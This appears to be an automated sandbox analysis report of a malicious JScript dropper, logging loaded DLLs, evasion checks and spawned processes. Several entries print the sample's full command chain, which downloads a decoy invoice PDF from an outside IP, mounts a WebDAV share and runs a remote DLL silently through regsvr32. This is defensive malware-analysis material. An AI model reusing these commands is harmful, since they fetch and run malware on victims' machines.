Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5158.js.csv");ITextStream.WriteLine(" entry:7590 f:sujee");ITextStream.WriteLine(" exec:2 f:sujee");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4850			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5057			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8	Thread sleep count: 4850 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3612	Thread sleep count: 5057 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3488	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1832	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4480	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7448	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000003.1733855594.000001C0B24A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWO
Source: svchost.exe, 00000008.00000002.2986268556.000002A4F562B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000006.00000003.1733855594.000001C0B24A7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2987763595.000002A4FAC5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2987719024.000002A4FAC43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1736546747.000001C0B2448000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
